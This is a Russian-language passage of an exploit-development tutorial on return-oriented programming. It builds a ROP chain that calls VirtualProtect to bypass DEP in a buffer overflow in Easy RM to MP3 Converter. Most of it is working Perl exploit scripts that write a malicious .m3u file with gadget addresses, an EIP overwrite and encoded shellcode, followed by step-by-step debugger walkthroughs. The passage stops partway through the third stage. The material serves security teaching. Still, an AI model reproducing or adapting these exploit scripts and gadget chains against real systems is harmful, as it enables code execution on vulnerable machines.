
Наш ROP exploit будет делать следующее:

10026D56: POP EAX + RET: gadget 1
1002DC24: ADD EAX,80 + POP EBX + RET: gadget 2

(второй указатель выполнит POP EBX. Это не нарушит нашу цепь, но она будет иметь влияние на ESP, которые должны быть использованы в следующем ROP гаджете, поэтому мы должны вставить некоторое “заполнение”, чтобы компенсировать это)

Во-первых, мы должны убедиться, что 0x10026D56 запускается на выполнение. Мы находимся в самом начале нашего sploit, так что мы должны сделать так чтоб EIP указывала на инструкции RET. Найти указатель, который указывает на RET в одном из загруженных модулей и поставить этот адрес в EIP. Мы будем использовать 0x100102DC.

Когда EIP перепишется указателем на RET инстр-ю , наша прога выполнит RET и перейдет по адресу указанному в ESP (0x10026D56). Далее будет выполнено POP EAX и поместит 50505050 в EAX. RET после POP EAX (в 0x10026D57) будет прыгать на адрес, который находится на ESP в это время. Это будет 0x1002DC24 (потому 50505050 было положено в EAX первым). 0x1002DC24 является указателем, чтобы добавить EAX, 80 + POP EBX + RET, так что в следующем гаджет будет ADD 0x80 к 50505050.

Наш пример sploit будет выглядеть следующим образом:

#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "A" x $buffersize;
my $eip=pack('V',0x100102DC);  #pointer to RET
my $junk2 = "AAAA"; #compensate, to make sure ESP points at first rop gadget
my $rop = pack('V',0x10026D56);       #POP EAX + RET (gadget 1)
$rop = $rop . pack('V',0x50505050);   #this will be popped into EAX 
$rop = $rop . pack('V',0x1002DC24);   #ADD EAX,80 + POP EBX + RET (gadget 2)
$rop = $rop . pack('V',0xDEADBEEF);   #this will be popped into EBX
my $rest = "C" x 1000;
my $payload = $junk.$eip.$junk2.$rop.$rest;
print "Payload size: ".length($payload)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";

Прикрепите отладчик к Easy RM в MP3 Converter и установите точку останова на 0x100102DC. Запустите приложение и загрузите файл m3u:

Когда точки останова сработает, EIP указывает на нашу инструкцию RETN. Инструкция RET перейдет по адресу находящийся в ESP - 0x10026D56

Пройдитесь по коду клавишей F7 и посмотрите как это дело все работает

Прямо перед последним RETN, мы должны увидеть это:

Как вы можете видеть, мы выполнили инструкции без выполнения кода непосредственно из стека. Мы приковали существующие инструкции друг за другом, что является сущностью ROP.

Убедитесь, что вы понимаете концепцию цепочки, прежде чем продолжить.

Поиск ROP гаджетов

Есть несколько способов к поиска гаджетов, которые помогут вам построить ROP цепочку:

Вы можете поискать иструкции которые вам нужны в памяти процесса и загруженных им модулях , потом посмотреть есть ли за ними инструкция RET или вы можете поискать сразу инструкцию RET , а затем посмотреть какие идут инструкции до RET

Для того, чтобы сделать вашу жизнь немного легче, я написал функцию в mona.py, которая будет искать все RET и т.д

Пример поиска:

Плагин содержит и другие функции для работы и поиска ROP гаджетов , наберите в командной строке !mona и вы увидете все функции которые поддерживает плагин.

Видео -> https://www.youtube.com/watch?v=y2zrEAwmdws
Link -> https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

Тест, прежде чем начать

Перед тем как строить ROP цепь, я убедился, что вызов VirtualProtect() приведет к желаемому результату. Самый простой способ сделать это, это вручную изменть параметры в стеке нужной нам функции внутри отладчика:

  • сделать EIP точку вызова функции VirtualProtect(). На XP SP3, эта функция может быть найдена - 0x7C801AD4
  • вручную выставить нужные аргументы для VirtualProtect() в стеке
  • поместить шеллкод в стек
  • запустить функцию.

Для того, чтобы облегчить этот простой тест, мы будем использовать следующий sploit script:

#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x7C801AD4);  #pointer to VirtualProtect
my $junk2 = "AAAA"; #compensate
my $params=pack('V',0x01010101);   #return address
$params = $params."XXXX";          #lpAddress
$params = $params."YYYY";          #Size - Shellcode length
$params = $params."ZZZZ";          #flNewProtect
$params = $params.pack('V',0x10035005);   #writeable address

# ./msfpayload windows/messagebox 
#  TITLE=CORELAN TEXT="rop test by corelanc0d3r" R 
# | ./msfencode -e x86/alpha_mixed -t perl
my $shellcode = 
"\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\x44\x51" .
"\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\x51\x49" .
"\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\x46\x46" .
"\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\x38\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\x6f\x45" .
"\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\x4f\x48" .
"\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\x6b\x47" .
"\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\x61\x48" .
"\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\x50\x47" .
"\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\x44\x4e" .
"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\x50\x49" .
"\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\x71\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\x6f\x49" .
"\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\x65\x49" .
"\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\x66\x4e" .
"\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a" .
"\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\x59\x42" .
"\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\x78\x44" .
"\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\x58\x4e" .
"\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\x4c\x4b" .
"\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\x4b\x51" .
"\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\x74\x43" .
"\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\x79\x50" .
"\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\x4f\x51" .
"\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\x55\x50" .
"\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\x4a\x4c" .
"\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\x49\x48" .
"\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\x6c\x4e" .
"\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\x6f\x4b" .
"\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\x58\x50" .
"\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\x6b\x4e" .
"\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\x68\x51" .
"\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50" .
"\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43" .
"\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43" .
"\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50" .
"\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48" .
"\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46" .
"\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e" .
"\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45" .
"\x5a\x41\x41";

my $nops = "x90" x 200;
my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$params.$nops.$shellcode.$rest;
print "Payload size: ".length($payload)."n";
print "Shellcode size: ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";

С помощью этого скрипта мы будем переписывать EIP с указателем на VirtualProtect() - 0x7C801AD4, и мы будем ставить 5 необходимых параметров на вершине стека, а затем некоторые NOP-ы, и MessageBox шеллкод.

LpAddress, Size и flNewProtect параметры задаются как «XXXX», «YYYY» и «ZZZZ". Мы вручную изменим их через несколько минут.

Создайте файл m3u, откройте в Immunity Debugger и установите точку останова - 0x7C801AD4. Запустите приложение, откройте файл m3u и убедитесь, что breakpoint сработал:

На вершине стека мы должны увидеть наши 5 параметров:

Прокрутите вниз, пока вы не увидите начало шеллкода:

Принять к сведению базовый адрес шеллкода (0010F80C в моем случае) и прокрутите вниз, чтобы убедиться, что весь Шеллкод был помещен в стек.

Теперь вручную отредактируйте параметры в стеке чтобы проверить будет ли вызов VirtualProtect работать.

Во-первых, измените значение - 0010F730 (return address) и установите его на адрес шеллкода (0010F80C).

Затем измените значение - 0010F734 (Адрес, в настоящее время содержащей 58585858), и установите его в 0010F80C (опять же, адрес, где ваш шеллкод проживает)

Затем измените значение - 0010F738 (Size, в настоящее время содержащее 59595959) и установите его в размер шеллкода. Я просто возьму 700 байт (чтобы быть на безопасной стороне), что соответствует 0x2BC

Наконец, измените значение - 0010F73C (NewProtect) и установите его в 0x40:

После внесения изменений, стек выглядит так:

Нажмите клавишу F7 один раз и посмотрите как переход к VirtualProtect() производится.

Пройдите все инструкции клавишей-(F7), пока вы не достигнете инструкцию RETN 10 ( 0x7C801AED).

В тот момент, стек содержит следующее:

RET сделает прыжок в наш шеллкод и выполнит его (если все прошло хорошо).

Нажмите клавишу F9:

Pwned.

Everybody stay cool, this is a roppery

Если вы надеялись на некоторые общую кострукцию по созданию ROP цепей, то я должен вас разочаровать. Там нет такого понятия,. ROP цепь является результатом какого-то творчества, проб и ошибок.

Единственное, что может приблизиться к возможной “более или менее общей” ROP структуре, может выглядеть примерно так (работает хорошо для меня):

Давайте начнем - по-настоящему

Этап 1: сохраненить указатель стека и прыгать по параметрам

2-ва наших параметра функции VirtualProtect() должны указывать на наш шеллкод. (Return address и lpAddress). Поскольку шеллкод помещается в стек, самый простой способ выполнить его, это взять текущий указатель из стека и сохранить его в регистр. Это имеет 3 преимущества:

  • Вы можете легко добавить / отнять значение в этом регистре, чтобы он указывал на ваш шеллкоде. Инструкции ADD, SUB, INC, DEC довольно распространены
  • Начальные значение точки довольно близко по адресу в стеке, где находится указатель на VirtualProtect() . Мы можем воспользоваться этим в ROP цепи, когда мы должны вернуться назад и вызвать VirtualProtect()
  • Это значение также близко к месту в стеке к параметру заполнителю . Что может сделать его легким для использования “mov dword ptr ds:[register+offset],register” инструкции для перезаписи параметра заполнителя.

Сохраненить указатель стека можно сделать разными путями: MOV REG, ESP / PUSH ESP + POP REG, и т.д.

Вы заметите, что MOV REG, ESP не является хорошим выбором, потому что очень вероятно, что внутри одного гаджета, REG будет извлекается снова, таким образом, снова перезапишется указатель стека .

После быстрого поиска в rop.txt, я нашел это:

0x5AD79277: # PUSH ESP # MOV EAX,EDX # POP EDI # RETN   [Module: uxtheme.dll]

(Прим.ред.: На моей VM_WinXP_XP3 эту конструкцию я нашел в [comctl32.dll] по адресу - 0x7743802d , выполнив команду – !mona rop -m * – )

Так, еще один быстрый поиск в rop.txt дает нам это:

0x77C1E842:  {POP}  # PUSH EDI # POP EAX # POP EBP # RETN  [Module: msvcrt.dll]

Это позволит сохранить тот же указатель стека в EAX, а также. Обратите внимание на инструкции POP EBP. Нам нужно будет добавить некоторое дополнение, чтобы компенсировать этой командой.

Я хотел бы избежать написания слишком много гаджетов , это может усложнить перезапись параметров заполнителей . Так что осталось сделать небольшой прыжок

Самый простой способ сделать это, добавив некоторые байты к ESP, и RET …:

0x1001653D:  # ADD ESP,20 # RETN   [Module: MSRMfilter03.dll]

Пока наш exploit сценарий выглядит следующим образом:

#------------------------------------------------------------
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
#------------------------------------------------------------
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#------Put stack pointer in EDI & EAX------------------------#
my $rop=pack('V',0x5AD79277);  #PUSH ESP, POP EDI
$rop = $rop.pack('V',0x77C1E842); #PUSH EDI, POP EAX
$rop=$rop."AAAA"; #compensate for POP EBP
#stack pointer is now in EAX & EDI, now jump over parameters
$rop=$rop.pack('V',0x1001653D);  #ADD ESP,20
#-------Parameters for VirtualProtect()----------------------#
my $params=pack('V',0x7C801AD4);          #VirtualProtect()    
$params = $params."WWWW";   #return address (param1)     
$params = $params."XXXX";   #lpAddress      (param2)
$params = $params."YYYY";   #Size           (param3)    
$params = $params."ZZZZ";   #flNewProtect   (param4)
$params = $params.pack('V',0x10035005);  #writeable address   
$params=$params.("H" x 8);  #padding
# ADD ESP,20 + RET will land here
#
my $rop2 = "JJJJ";
#
my $nops = "x90" x 240;
#
#
# ./msfpayload windows/messagebox 
#  TITLE=CORELAN TEXT="rop test by corelanc0d3r" R 
# | ./msfencode -e x86/alpha_mixed -t perl
my $shellcode = 
"\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\x44\x51" .
"\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\x51\x49" .
"\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\x46\x46" .
"\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\x38\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\x6f\x45" .
"\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\x4f\x48" .
"\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\x6b\x47" .
"\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\x61\x48" .
"\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\x50\x47" .
"\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\x44\x4e" .
"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\x50\x49" .
"\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\x71\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\x6f\x49" .
"\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\x65\x49" .
"\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\x66\x4e" .
"\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a" .
"\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\x59\x42" .
"\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\x78\x44" .
"\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\x58\x4e" .
"\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\x4c\x4b" .
"\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\x4b\x51" .
"\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\x74\x43" .
"\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\x79\x50" .
"\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\x4f\x51" .
"\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\x55\x50" .
"\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\x4a\x4c" .
"\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\x49\x48" .
"\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\x6c\x4e" .
"\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\x6f\x4b" .
"\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\x58\x50" .
"\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\x6b\x4e" .
"\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\x68\x51" .
"\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50" .
"\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43" .
"\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43" .
"\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50" .
"\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48" .
"\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46" .
"\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e" .
"\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45" .
"\x5a\x41\x41";

my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;
print "Payload size: ".length($payload)."n";
print "Shellcode size: ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";

Установите точку останова на 0x100102DC, откройте файл и подождите, пока точка останова сработает.

Когда точка останова сработает, посмотрите на стек. Вы должны увидеть вашу мини ROP-цепь, а затем указатель на VirtualProtect и его параметры (заполнители), и то место, где мы должны оказаться в конечном итоге после изменения ESP

В конечном итоге: 4A4A4A4A in EIP (JJJJ = my $rop2)

Понял? Давай продолжим.

Этап 2: разработка первого параметра (адрес возврата)

Теперь мы будем работать над созданием первого параметра и перезаписи заполнителя для первого параметра в стеке.

Первый параметр должен указывать на шеллкод. Этот параметр будет использоваться в качестве return address для функции VirtualProtect(), так что эта функция отметит страницу как исполняемую и автоматически перейдет к ней.

Где наш шеллкод? Ну, прокрутите вниз по мнению стека. Сразу после nops, вы увидите шелл-код.

План заключается в использовании EAX или EDI (оба содержат значение в стеке), и увеличить их, оставляя достаточно места для будущих гаджетов ROP.

Измененить значения так же легко, как добавить байт в регистр. Предположим, мы хотим использовать EAX, мы можем поискать ROP гаджеты, которые могли бы сделать ADD EAX,<некоторого значения> + RET

Возможный гаджет:

0x1002DC4C: # ADD EAX,100 # POP EBP # RETN   [Module: MSRMfilter03.dll]

Далее, мы должны записать это значение в стек, переписав заполнитель (который в настоящее время содержит “WWWW” или 57575757).

Как мы можем это сделать ?

Самый простой способ, это посмотреть на MOV DWORD PTR DS:[register],EAX.Можем ли мы сделать чтоб [register] указывал на адрес где находится заполнитель , тогда мы бы закончили перезапись с содержанием EAX (= указатель на шеллкод)

Возможный указатель будет такой:

0x77E84115: # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN   [Module: RPCRT4.dll]

Для того, чтобы сделать эту работу, мы должны поставить указатель на заполнитель-0x10 в ESI. После того как значение записанно, мы будем иметь указатель на заполнитель в EAX (MOV EAX, ESI), что хорошо … мы могли бы повторно использовать его в дальнейшем. Далее, нам необходимо вставить некоторое дополнение, чтобы компенсировать инструкции POP ESI.

[I]Совет: скачайте утилиты Unix (часть из самых важных утилит GNU, для Win32). Таким образом, можно использовать Cat & Grep чтоб искать хорошие гаджеты:

cat rop.txt | grep “MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI”[/I]

Но прежде, чем мы можем использовать эту инструкцию, мы должны поставить правильное значение в ESI. У нас есть указатель на стек в EDI и EAX. EAX уже будет использоваться / изменить (указатель на Shellcode, помним), так что мы должны постараться положить EDI в ESI и затем изменить его немного, так чтоб указывал на parameter_1_placeholder - 0x10:

0x763C982F:  # XCHG ESI,EDI # DEC ECX # RETN 4   [Module: comdlg32.dll]

Ввод этих 3-х вещей вместе, наш первый реальный ROP гаджет будет выглядеть следующим образом:

Пместить из EDI в ESI (и увеличить его, если это необходимо, так что бы указывало на Placeholder1(Заполнитель1)), измените значение в EAX, так что бы указывало на шеллкод, а затем переписать заполнитель.

(Примечание: Для первой операции перезаписи, ESI будет автоматически указывать на нужное место, так что нет необходимости для увеличения или уменьшения значения, ESI + 10 будет указывать на место первого параметра заполнителя.)

Между гаджетами, мы должны компенсировать дополнительные POP -ы и RETN4.

Вместе это выглядит так:

#------------------------------------------------------------
#ROP based exploit for Easy RM to MP3 Converter
#written by corelanc0d3r - http://www.corelan.be
#------------------------------------------------------------
my $file= "rop.m3u";
my $buffersize = 26094;
my $junk = "Z" x $buffersize;
my $eip=pack('V',0x100102DC); #return to stack
my $junk2 = "AAAA"; #compensate
#------Put stack pointer in EDI & EAX------------------------#
my $rop=pack('V',0x5AD79277);  #PUSH ESP, POP EDI
$rop = $rop.pack('V',0x77C1E842); #PUSH EDI, POP EAX
$rop=$rop."AAAA"; #compensate for POP EBP
#stack pointer is now in EAX & EDI, now jump over parameters
$rop=$rop.pack('V',0x1001653D);  #ADD ESP,20
#-------Parameters for VirtualProtect()----------------------#
my $params=pack('V',0x7C801AD4);          #VirtualProtect()    
$params = $params."WWWW";   #return address (param1)     
$params = $params."XXXX";   #lpAddress      (param2)
$params = $params."YYYY";   #Size           (param3)    
$params = $params."ZZZZ";   #flNewProtect   (param4)
$params = $params.pack('V',0x10035005);  #writeable address   
$params=$params.("H" x 8);  #padding
# ADD ESP,20 + RET will land here
# change ESI so it points to correct location 
# to write first parameter (return address)
my $rop2= pack('V',0x763C982F);  # XCHG ESI,EDI # DEC ECX # RETN 4 
#-----Make eax point at shellcode--------------------------
$rop2=$rop2.pack('V',0x1002DC4C);  #ADD EAX,100 # POP EBP
$rop2=$rop2."AAAA"; #padding - compensate for RETN4 before
$rop2=$rop2."AAAA"; #padding
#----------------------------------------------------------
#return address is in EAX - write parameter 1
$rop2=$rop2.pack('V',0x77E84115);
$rop2=$rop2."AAAA"; #padding  
#
my $nops = "x90" x 240;
#
# ./msfpayload windows/messagebox 
#  TITLE=CORELAN TEXT="rop test by corelanc0d3r" R 
# | ./msfencode -e x86/alpha_mixed -t perl
my $shellcode = 
"\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\x44\x51" .
"\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\x51\x49" .
"\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\x46\x46" .
"\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\x38\x4c" .
"\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\x6f\x45" .
"\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\x4f\x48" .
"\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\x6b\x47" .
"\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\x61\x48" .
"\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\x50\x47" .
"\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\x44\x4e" .
"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\x50\x49" .
"\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\x71\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\x6f\x49" .
"\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\x65\x49" .
"\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\x66\x4e" .
"\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a" .
"\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\x59\x42" .
"\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\x78\x44" .
"\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\x58\x4e" .
"\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\x4c\x4b" .
"\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\x4b\x51" .
"\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\x74\x43" .
"\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\x79\x50" .
"\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\x4f\x51" .
"\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\x55\x50" .
"\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\x4a\x4c" .
"\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\x49\x48" .
"\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\x6c\x4e" .
"\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\x6f\x4b" .
"\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\x58\x50" .
"\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\x6b\x4e" .
"\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\x68\x51" .
"\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50" .
"\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43" .
"\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43" .
"\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50" .
"\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48" .
"\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46" .
"\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e" .
"\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45" .
"\x5a\x41\x41";

my $rest = "C" x 300;
my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;
print "Payload size: ".length($payload)."n";
print "Shellcode size: ".length($shellcode)."n";
open($FILE,">$file");
print $FILE $payload;
close($FILE);
print "m3u File $file Created successfullyn";

Давайте пошагово в отладчике и посмотрим, что происходит после того, как добавить ESP, 20 + ret выполнится:

RET возвращается к 0x763C982F (которые ставит EDI в ESI).

В это время, регистры выглядят следующим образом:

(EAX и ESI, теперь указывают на сохраненный адрес в стеке)

Этот гаджет возвращается к 0x1002DC4C, который добавит 0x100 байт EAX. Это увеличит значение в EAX = 0010F834, что указывает на NOP, до шеллкода:

Этот гаджет вернется к 0x77E84115, который будет выполнять следующие инструкции:

Он запишет в EAX (= 0x0010F834) по адресу содержащемуся в ESI + 0x10. ESI в настоящее время содержит 0x0010F734. В ESI + 10 (0x0010F744), у нас есть заполнитель для return address:

Когда инструкция MOV выполняется, мы успешно запишем наш return address (указатель на NOP,) в качестве параметра в функцию VirtualProtect():

ESI будет сохранен в EAX, и некоторые данные из стека сохраняется в ESI.

Этап 3: разработка второго параметра (lpAddress)

Второй параметр должен указывать на место, которое должно быть отмечено как исполняемое. Мы просто используем тот же указатель, который использовался для первого параметра.

Это означает, что мы можем - более или менее - повторить всю последовательность из стадии 2, но прежде чем мы сможем это сделать, мы должны сбросить наши начальные значения.

В текущий момент, EAX все еще содержит первоначально сохраненный указатель стека. Мы должны положить его обратно в ESI. Таким образом, мы должны найти гаджет, который будет делать что-то вроде этого: PUSH EAX, POP ESI, RET

0x775D131E:  # PUSH EAX # POP ESI # RETN   [Module: ole32.dll]

